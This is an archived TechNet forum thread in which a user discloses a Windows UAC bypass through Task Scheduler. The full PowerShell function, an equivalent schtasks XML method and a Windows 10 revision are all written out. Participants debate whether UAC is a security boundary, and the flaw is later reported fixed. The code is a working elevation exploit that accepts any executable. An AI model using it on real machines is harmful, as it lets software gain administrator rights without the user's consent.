UAC Bypass
PowerShell:
function Start-UACBypass{
    [CmdletBinding()]
    [OutputType()]
    param(
        [Parameter(Mandatory,Position=1)]
        [String]$Execute,
        [Parameter(Position=2)]
        [String]$Arguments
    )
    begin{
        $TaskXml=@'
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <RegistrationTrigger>
      <EndBoundary>{0}</EndBoundary>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal>
      <UserId>{1}</UserId>
      <RunLevel>{2}</RunLevel>
      <LogonType>{3}</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <WakeToRun>false</WakeToRun>
    <StartWhenAvailable>false</StartWhenAvailable>
    <AllowStartOnDemand>false</AllowStartOnDemand>
    <AllowHardTerminate>true</AllowHardTerminate>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
    <Priority>5</Priority>
    <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
  </Settings>
  <Actions>
    <Exec>
      <Command>{4}</Command>
      <Arguments>{5}</Arguments>
    </Exec>
  </Actions>
</Task>
'@
        $TaskService=New-Object -ComObject Schedule.Service
        $TaskService.Connect()
        $EndBoundary=[Xml.XmlConvert]::ToString((Get-Date).AddMinutes(1),[Xml.XmlDateTimeSerializationMode]::RoundtripKind)
        $UserId=[Security.SecurityElement]::Escape($TaskService.ConnectedUser)
        $SecondTask=$TaskXml-f$EndBoundary,$UserId,'HighestAvailable','InteractiveToken',[Security.SecurityElement]::Escape($Execute),[Security.SecurityElement]::Escape($Arguments)
        $Command='$TaskService=New-Object -ComObject Schedule.Service;$TaskService.Connect();$TaskService.GetFolder($null).RegisterTask($null,''{0}'',2,$null,$null,0)'-f($SecondTask-replace'''','''''')
        $FirstTask=$TaskXml-f$EndBoundary,$UserId,'LeastPrivilege','S4U','PowerShell',('-NoProfile -NonInteractive -EncodedCommand {0}'-f[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command)))
        $TaskService.GetFolder($null).RegisterTask($null,$FirstTask,2,$null,$null,0)|Out-Null
    }
}
Usage:
Start-UACBypass cmd '/k title Hello World'
  • Changed type PetSerAl Friday, August 29, 2014 3:26 PM
  • Edited by PetSerAl Wednesday, September 17, 2014 2:38 AM
August 29th, 2014 3:23pm

Hi

Do you need help with this?

Free Windows Admin Tool Kit Click here and download it now
August 29th, 2014 6:39pm

I do not understand, why task with RunLevel=LeastPrivilege and LogonType=S4U get full admin token, making possible to elevate privilege without UAC prompt.
August 30th, 2014 7:55am

Hi  PetSerAl,

As the issue is specific with a Powershell skill  , you may contact Microsoft  for further assistance on this from PowerShell forum:

http://social.technet.microsoft.com/Forums/windowsserver/en-US/home?forum=winserverpowershell

Please revert for any clarification on this or any Windows issue. We will be glad to help you about this.

Regards

Free Windows Admin Tool Kit Click here and download it now
September 1st, 2014 10:44am

Issue in not specific to PowerShell. PowerShell just use Task Scheduler COM API, which can be used by any other application. Tasks created thru GUI (MMC Task Scheduler snap-in) have exactly same problems.
September 1st, 2014 11:06am

Hi  PetSerAl,

In this case, can you give some more background information about this? Besides, I want to know how the COM API is called in the PowerShell command in your post, because I am not a professional developer.

Regards

Free Windows Admin Tool Kit Click here and download it now
September 5th, 2014 8:40am

PowerShell is uses COM API for just one task: register task XML representation. Same can be done by schtasks console utility, but work for generating this XML files have to be done by hands:

First.xml:
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <RegistrationTrigger>
      <EndBoundary>{1}</EndBoundary>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal>
      <UserId>{2}</UserId>
      <RunLevel>LeastPrivilege</RunLevel>
      <LogonType>S4U</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <WakeToRun>false</WakeToRun>
    <StartWhenAvailable>false</StartWhenAvailable>
    <AllowStartOnDemand>false</AllowStartOnDemand>
    <AllowHardTerminate>true</AllowHardTerminate>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
    <Priority>5</Priority>
    <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
  </Settings>
  <Actions>
    <Exec>
      <Command>schtasks</Command>
      <Arguments>/create /tn "" /xml "{3}\Second.xml"</Arguments>
    </Exec>
  </Actions>
</Task>
Second.xml:
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <RegistrationTrigger>
      <EndBoundary>{1}</EndBoundary>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal>
      <UserId>{2}</UserId>
      <RunLevel>HighestAvailable</RunLevel>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <WakeToRun>false</WakeToRun>
    <StartWhenAvailable>false</StartWhenAvailable>
    <AllowStartOnDemand>false</AllowStartOnDemand>
    <AllowHardTerminate>true</AllowHardTerminate>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
    <Priority>5</Priority>
    <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
  </Settings>
  <Actions>
    <Exec>
      <Command>cmd</Command>
      <Arguments>/k title Hello World</Arguments>
    </Exec>
  </Actions>
</Task>
Where {1} should be replaced by some point in future (at this point task will be automatically removed). For example 2014-09-07T00:00:00. {2} should be replaced by user name. {3} should be replaced by path to Second.xml file. And you can start it all by this command:
schtasks /create /tn "" /xml First.xml
September 6th, 2014 6:58pm

Hi  PetSerAl,

Since COM API is a system component, I suggest to run the system file checker command to fix this.  System File Checker is a utility in Windows that allows users to scan for corruptions in Windows system files and restore corrupted files.

You can follow it in the way below:

http://support.microsoft.com/kb/929833

Besides, try to disable powershell and enable powershell from the control panel to check the result.

Regards

Free Windows Admin Tool Kit Click here and download it now
September 9th, 2014 10:09am

Dear Wade Liu,

PetSerAl has demonstrated how to bypass UAC. This shows, that administrators can't keep scripts that they themselves accidentally start (or that they are tricked into starting) from elevating, setting free the full admin power. This even works if UAC is set to "always notify", by the way. You however recommend to use system file checker? You also recommend to reinstall powershell? What are you talking about, Wade Liu?

September 10th, 2014 10:23pm

I am checked this in my current system (with latest September 9 security updates) and with clean Windows 8.1 Update 1 install inside VirtualBox.
Free Windows Admin Tool Kit Click here and download it now
September 11th, 2014 4:59am

Hi  Ronald,

I am trying to provided suggestion that relates to the system itself to fix corrupted system file if necessary, besides, I also suggest to post it at the powershell forum for further discussion.

Regards

September 11th, 2014 9:24am

Hi.

No need to repeat it, you already wrote that. My question was "what are you talking about?" simply, because there is no connection to this thread. Have you understood what this is about? You can easily see for yourself by executing that powershell script. You can see that the contents are harmless but it shows how serious (in terms of security) this bug is.


Free Windows Admin Tool Kit Click here and download it now
September 11th, 2014 9:27am

So is Microsoft interested in this security forum at all? This is a horrible bug, why wasn't it analysed and fixed by now?
November 3rd, 2014 8:22pm

PetSerAl, any news? Did you find any hint on why this works for win8.1 and not for win7 or win10?

Any reaction from Microsoft?

Free Windows Admin Tool Kit Click here and download it now
December 22nd, 2014 12:07am

For Windows 10, looks like some PowerShell changes to handling null value for string. I edited script and now it works for Windows 10.
function Start-UACBypass{
    [CmdletBinding()]
    [OutputType()]
    param(
        [Parameter(Mandatory,Position=1)]
        [String]$Execute,
        [Parameter(Position=2)]
        [String]$Arguments
    )
    begin{
        $TaskXml=@'
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <RegistrationTrigger>
      <EndBoundary>{0}</EndBoundary>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal>
      <UserId>{1}</UserId>
      <RunLevel>{2}</RunLevel>
      <LogonType>{3}</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <WakeToRun>false</WakeToRun>
    <StartWhenAvailable>false</StartWhenAvailable>
    <AllowStartOnDemand>false</AllowStartOnDemand>
    <AllowHardTerminate>true</AllowHardTerminate>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
    <Priority>5</Priority>
    <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
  </Settings>
  <Actions>
    <Exec>
      <Command>{4}</Command>
      <Arguments>{5}</Arguments>
    </Exec>
  </Actions>
</Task>
'@
        $TaskService=New-Object -ComObject Schedule.Service
        $TaskService.Connect()
        $EndBoundary=[Xml.XmlConvert]::ToString((Get-Date).AddMinutes(1),[Xml.XmlDateTimeSerializationMode]::RoundtripKind)
        $UserId=[Security.SecurityElement]::Escape($TaskService.ConnectedUser)
        $SecondTask=$TaskXml-f$EndBoundary,$UserId,'HighestAvailable','InteractiveToken',[Security.SecurityElement]::Escape($Execute),[Security.SecurityElement]::Escape($Arguments)
        $Command='$TaskService=New-Object -ComObject Schedule.Service;$TaskService.Connect();$TaskService.GetFolder($null).RegisterTask([guid]::NewGuid().ToString(),''{0}'',2,$null,$null,0)'-f($SecondTask-replace'''','''''')
        $FirstTask=$TaskXml-f$EndBoundary,$UserId,'LeastPrivilege','S4U','PowerShell',('-NoProfile -NonInteractive -EncodedCommand {0}'-f[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command)))
        $TaskService.GetFolder($null).RegisterTask([guid]::NewGuid().ToString(),$FirstTask,2,$null,$null,0)|Out-Null
    }
}
I am not checked my script (original or edited) for Vista or Seven, so I can not even say work it or not. But if them share same misbehavior of task scheduler it should work.
No one from Microsoft contact me.
December 22nd, 2014 12:44am

Correct me if I'm wrong, you are just showing that you can run things elevated from the Task Scheduler, right?  And that you can schedule something from a privileged account via XML to run escalated without a UAC prompt?

Windows was never designed to protect itself from its user.  In fact, just the opposite.  At the core of the design is the concept that the greatest value is derived from modifying the system.  It's only gradually been migrating away from that, sometimes more sometimes less successfully.

Going back to prehistory, the OS architecture NT was copied from was extremely secure, but Microsoft just didn't take everything it offered, choosing instead to implement many shortcuts.  My brain cells aren't what they used to be, but I don't remember any "automatic privilege de-escalation" in VMS.  An administrator was an administrator, and you had the full power of the system.  And there was certainly not anything like "file system virtualization" or "registry virtualization".  Those things are just ridiculous hacks.

And Ronald...  If you goad Microsoft into trying to "fix" this "security hole", they'll likely break something fundamental and it will be even harder to get work done.  Maybe you should just rest easy in the knowledge that this could be a valuable tool if you should need it.  I suggest never assuming you can rely on UAC for anything, and disassociate UAC in your mind from security entirely.  False security is worse than no security.

 

Free Windows Admin Tool Kit Click here and download it now
December 22nd, 2014 4:11am

I am showing that tasks with
<RunLevel>LeastPrivilege</RunLevel>
<LogonType>S4U</LogonType>
actually run as if it was
<RunLevel>HighestAvailable</RunLevel>
but limited user can not just register task with
<RunLevel>HighestAvailable</RunLevel>
it will get access denied error. It is definitely a bug and should be fixed.
December 22nd, 2014 6:26am

Just curious. Do you consider it as a kind of security vulnerability? If so, have you contacted MSRC? http://technet.microsoft.com/en-us/security/ff852094.aspx
Free Windows Admin Tool Kit Click here and download it now
December 22nd, 2014 6:33am

I see no reason to do that, as it did not pass Definition of a Security Vulnerability.
December 22nd, 2014 6:40am

Hi Noel.

UAC has many use cases, which originate in mitigating compatibility problems when running as restricted user, but it has so many positive effects on security, it would be ridiculous not to call it security associated.The secure desktop alone is worth a lot. And for example having the option to re-authenticate (being prompted for a password again) when fulfilling administrative tasks is required in order to be certified for some military-class IT standards here in Germany - only possible with UAC. With software aware of this design flaw, the UAC is bypassed, any process started by an administrative user will be elevated without the knowledge of the admin.

So for those who run as restricted user and use another account for administrative work, this flaw has no consequences. But for those who use UAC like it was designed for, this should be fixed.


"you are just showing that you can run things elevated from the Task Scheduler, right" - no, for a better understanding, use Powershell ISE (not elevated), paste that code and run it. You will see that UAC is bypassed unlike with task scheduler, where UAC is only bypassed AFTER having started task scheduler elevated and created a task with high privilege option, that's the big difference and that makes it exploitable. Malware will love it.
Free Windows Admin Tool Kit Click here and download it now
December 22nd, 2014 11:35am

Hi.

"it did not pass Definition of a Security Vulnerability" - I wonder why it doesn't. To me, it clearly does. We have an admin in admin approval mode - without elevating, he will get access denials, he will not be able to access certain items protected by ACLs. Of course it is in the interest of the admin himself not to be able to access those without elevating, so that he will be aware when this happens and may approve that action.

To follow microsoft's browser example on the definition site: ssl may not use plain text. And here, admins in UAC admin approval mode may not get the same results as if approval mode was off.


December 22nd, 2014 12:13pm

If the problem meets the definition of a vulnerability, the next question is whether it violates the product's security boundaries. Every product has a set of assumptions about how it will be used, and a set of promises it makes about the security provided when it's used properly. For instance, User Access Control (UAC) is a technology introduced with Windows Vista that provides a method of separating standard user privileges and tasks from those that require Administrator access. If a Standard User is using the system and attempts to perform an action for which the user has no authorization, a prompt from Windows appears and asks the Administrator accounts password. If an Administrator is using the system and attempts to do the same task, there is only a warning prompt. That prompt is known as a Consent Prompt because the administrator is only asked to agree to the action before proceeding. A weakness that would allow to bypass the Consent Prompt is not considered a security vulnerability, since that is not considered a security boundary.
Free Windows Admin Tool Kit Click here and download it now
December 22nd, 2014 3:34pm

Thanks for your attempt at an explanation, but I know more about UAC than you may think, Ronald.

Do not rely on it.  It was not "designed" so much as "shoehorned in" to a system that never expected it and doesn't believe in it.  It's a poor implementation of a bad idea.

If you want true user security, create a non-privileged user account, and set permissions so that what's needed to be accessed can be accessed.  If you want to be an administrator, be an administrator.  Trying to straddle the line and second guess what the user needs is just silly, especially if you aren't allowed to turn it off.

 

December 23rd, 2014 1:21am

PetSerAl, the key is that you're a member of the Administrators group and of course you're allowed to schedule a task using your user ID.  I fail to see a problem here.

If you're expecting UAC to protect you from anything you're not doing what you need to be doing to protect yourself.  It's not a water tight security measure.  It's more like a wetsuit.

Inviting malware into your computer then at the last possible instant trying to prevent it from doing its business all over your system isn't a viable security strategy at all.  If you're doing the right things, you should never, ever, see a UAC prompt you don't expect - thus rendering it completely useless.

"The right things" vary, depending on usage, but at a minimum you ought to block access to sites known to send malware, deconfigure the promiscuity of the web browser to load and run anything it comes across, and (most of all) educate users to have them practice good computing habits.  These include teaching people not to run everything in sight but to thoroughly vet software before running it.  Mistrust everything!

Security is a human problem, not a technical one.  UAC leads to a FALSE sense of security, which is MUCH WORSE than if it didn't exist at all.

And don't tell me you think malware is less a problem now than before Vista.   

Free Windows Admin Tool Kit Click here and download it now
December 23rd, 2014 1:34am

The key it that parameter RunLevel=LeastPrivilege is ignored. So it ether the bug, then it should be fixed, ether feature, then it should be documented.


  • Edited by PetSerAl Tuesday, December 23, 2014 1:44 AM
December 23rd, 2014 1:44am

PetSerAl, you are right, their very own definition talks about UAC bypassing not being a sec. vulnerability. Good, I had read through all the definition paragraphs, but haven't expected to find it covered at the beginning. So they would call it a weakness.

Noel, I am on your side with everything you wrote in your last 2 comments. Nevertheless, this is something new and dangerous (to users of admin approval mode, not to users that separate their admin and user account). I have not seen many UAC bypass techniques yet and this one is surely the easiest to implement.

Free Windows Admin Tool Kit Click here and download it now
December 23rd, 2014 7:32pm

UAC's same-desktop elevation is not a security boundary. It is a convenience feature. From a security perspective, "protected admin" (i.e., member of the Administrators group running not elevated) and "full admin" are equivalent. Windows tries to minimize leaks like this, but there is a lot of shared surface area between the unelevated and elevated "versions" of a single user account. Even same-desktop/different-user elevation is not considered a security boundary because of the shared space in which the elevation takes place. There IS a security boundary between standard user and (admins | other users | OS config). If a standard user can gain admin rights without, for example, tricking an admin into giving up credentials, that's a bug that will be fixed. But if you are running as a member of the admins group and are expecting that any malware you run can never gain admin rights unless you explicitly approve its elevation request, you are mistaken. That has never been the case.

BTW, UAC's file/registry virtualization was disparaged earlier in this thread. File/reg virt is a brilliant idea that enables lots of apps to run with standard user rights that required admin rights on XP and earlier.

For more information, see Mark Russinovich's articles about UAC in TechNet Magazine.

http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx

http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx

December 25th, 2014 2:43am

file/reg virt is a brilliant idea that enables lots of apps to run with standard user rights that required admin rights on XP and earlier.

Our definitions of what's "brilliant" and what's not simply differ.

In my universe when the OS second guesses you and does something different than what you've told it to do, that's considered bad.

I'm also someone who's always been the full-time administrator of my computer systems, with never a downside to that.  While I understand the concept of protecting a computer system from its user, it's not something I've ever personally found any use for.

  

Free Windows Admin Tool Kit Click here and download it now
December 25th, 2014 9:46pm

Aaron, you are a top Microsoft insider and security expert.

I would expect you to answer clearly like: "yes, this is known and expected behavior" to address what initially brought this matter up: what are we seeing here? Is it a known design weakness?

I don't expect the answer to be "it's a known weakness" because if it were, it would already be incorporated into tons of malware and become well-known pretty soon. But this is the first time I read about it and the first UAC bypass I see that is altogether easy.

I hope to see more feedback,


December 28th, 2014 8:24pm

In the universe I spend most of my time in, users care whether the program works the way they expect it to. They don't care what happens behind the scenes. The program needs to save some settings so that they can be retrieved the next time the user runs the program, and it needs to do so without triggering an access-denied error message. File/reg virt takes care this while improving the computer's security by not insisting that you run with admin rights. You can easily disable file/reg virt for your programs just by rebuilding them in VS2008 or newer. You can also obviate the need for it by having your program write data to the correct locations in the first place. If you're writing user data to "Program Files" or HKLM, that's considered bad.

Free Windows Admin Tool Kit Click here and download it now
January 13th, 2015 12:49am

Hi Ronald - I didn't test this to verify whether it works as described and I'm not part of a team that would make an official statement about this specific issue. I'm just pointing out that there isn't a watertight security boundary between "protected admin" and "full admin". For stronger security, you should use separate user accounts in separate sessions. Also, end users should have standard user accounts, not administrative accounts.
January 13th, 2015 12:56am

First let me say that I fully understand how things are "supposed to be" and don't write software that abuses the system.

However, you seem to think making things work for non-technical users by corrupting the way the operating system works behind the scenes is okay.  It's like making a video driver that's aware of the software that is using it.  Or a car that refuses to turn left sometimes even when the user turns the wheel that way.  It's a bad idea.  I was going to say "in my opinion", but I won't even concede that much.  It's so bad an idea that it's self-evident to plankton.

In the "big picture" sense, one of the things that makes software work solidly and reliably is that the APIs it uses do well-defined, well-documented things.  Having the OS step in and sometimes choose to put data in places that were not originally intended just makes a mess that if let go gets to the point where things become unusable.

Whose idea was it not to make the various parts of UAC configurable?  Why is there no way to deconfigure the UAC virtualization features?  Microsoft itself acknowledges that there are conditions where failure should occur (vs. magic that tries to make something work), such as when a 64 bit process tries to write to a place that's virtualized for 32 bit software.  Perhaps there are those who'd like to run a tighter ship, and who really WOULD like things to fail if the software is trying to do something not compatible with the current way of thinking.

Let me spell it out for you:  Today we're at a point where technology often doesn't work right.  It's becoming expected.  But it doesn't have to be so, and it's this way precisely because people do things like implement magic deep inside an operating system that causes it to do something different than what was intended.

No, my friend, no part of UAC is by any means even close to "brilliant", unless you use the term to describe the fireball that occurs when the jalopy being used by the local daredevil to jump 18 school buses reaches the end of its flight.

 

-Noel

Free Windows Admin Tool Kit Click here and download it now
January 13th, 2015 2:04am

Well. I infer from your tone that you are not open to persuasion on this topic, but I'll give it a shot anyway.

Re making software work solidly and reliably: on its own, software frequently does not do that in the face of a changing platform, unless the platform makes some concessions. We NEEDED to make non-admin the default, and we did. That exposed a lot of bugs in a lot of programs that ASSUMED that they could put files and registry values anywhere. Failure on future platforms was not something that app developers "originally intended"; the original intent was that the program would continue to work. File/registry virtualization helps ensure that what was originally intended actually happens. If a program written for XP or earlier absolutely had to put something in a system-wide location, it should first have verified that the user had admin rights. If it had done so and displayed an error message if the user wasn't an admin, then the user would know to run the program as administrator. File/reg virtualization is disabled for admin/elevated programs.  (BTW, if you really have to, there is a UAC security option that specifically disables file/registry virtualization without changing any other aspects of UAC. I've never seen a need for doing so, though.)

You point out that technology often doesn't work right. Without file/registry virtualization, the percentage of programs that didn't work on Vista and newer would have been VERY high, much higher than it was.

January 13th, 2015 3:29am

(BTW, if you really have to, there is a UAC security option that specifically disables file/registry virtualization without changing any other aspects of UAC. I've never seen a need for doing so, though.)

Thank you.  I need to research that option; I was not aware of it before now.  It may help make UAC a bit more tolerable (though frankly we shouldn't have to tolerate it at all).  You should consider making the non-virtualization setting the default moving forward and only invoke virtualization upon a compatibility setting being chosen. 

You're right, I'm not open to persuasion on my stand on whether UAC is even remotely a good idea.  You feel it's justified, but I feel it's screwing up the future.  Those appear to be irreconcilable differences.

I was going to write a good bit more, but it might be taken badly, so I'll leave it at that.

 

-Noel

Free Windows Admin Tool Kit Click here and download it now
January 13th, 2015 5:08pm

PetSerAl,

some weeks ago I asked Mark Russinovich about this matter. He has replied that

"We've decided to fix this in Windows 10, but have no plans to port the fix to older OS's."

No further comment, so it seems it is well worth fixing, at least in future OS'.

January 13th, 2015 8:56pm

So now it looks like they're going to "fix" this non-issue - and quite probably break something else.  Thanks in advance for some unspecified future "can't get there from here" situations with Windows 10+ as a result of it.

By the way, I ran into yet another UAC annoyance on my Win 10 test system, on which I've begrudgingly allowed UAC to remain enabled - for now.  I am a beta tester for several applications, and lo and behold the system decided to step in and disallow me from writing the latest drop of one of them into its Program Files subfolder.  How wonderful.  Thanks bunches for that little distraction and for chewing up just a bit of my time.  Not.

You do realize that I will never, ever visit your App Store and spend money there if I configure EnableLUA to 0, right?  So far, up to now, that's been EXACTLY my choice - like many others who need serious things out of Windows, I have disabled UAC.  But hey, there are plenty of dupes out there who'll put money in your paychecks, right?

 

-Noel

Free Windows Admin Tool Kit Click here and download it now
January 14th, 2015 11:53pm

Seems to be fixed in win10 preview build 10074
May 4th, 2015 4:52pm

So the day has arrived where people herald new restrictions being placed on their being able to use their computers as a "feature".

Next, deletions of existing features will be considered stylish.  Oh wait, that already happened.

;-)

-Noel

Free Windows Admin Tool Kit Click here and download it now
May 4th, 2015 6:54pm

They said the same thing when they started putting locks on car doors.  Well, someone probably did.  There's always one...
May 4th, 2015 7:01pm

Aaron, it's possible you somehow think it's all about running Windows.

It's really all about facilitating users' work.  These things are not the same.

I've been running Win 10 in a testing environment, giving UAC the ol' college try once again - as I have done with every new OS release since Vista.  The number of irritating "can't put the shortcut there, want to put it on the desktop instead?" messages are excessive.  The pop-up messages asking for permission to do exactly what I told it to do - even though I dragged the slider all the way to the bottom - are both numerous and ridiculous.  I have better things to do than to ask you for permission to do what I want with my computer system.

Now it's on to see how well Win 10 runs with EnableLUA set to 0.  So far, after half a day of testing, thankfully rather well.  Rest assured with that setting I will *NEVER* visit your store nor run your Metrotard Apps.

-Noel

Free Windows Admin Tool Kit Click here and download it now
May 4th, 2015 8:07pm

This topic is archived. No further replies will be accepted.

Other recent topics Other recent topics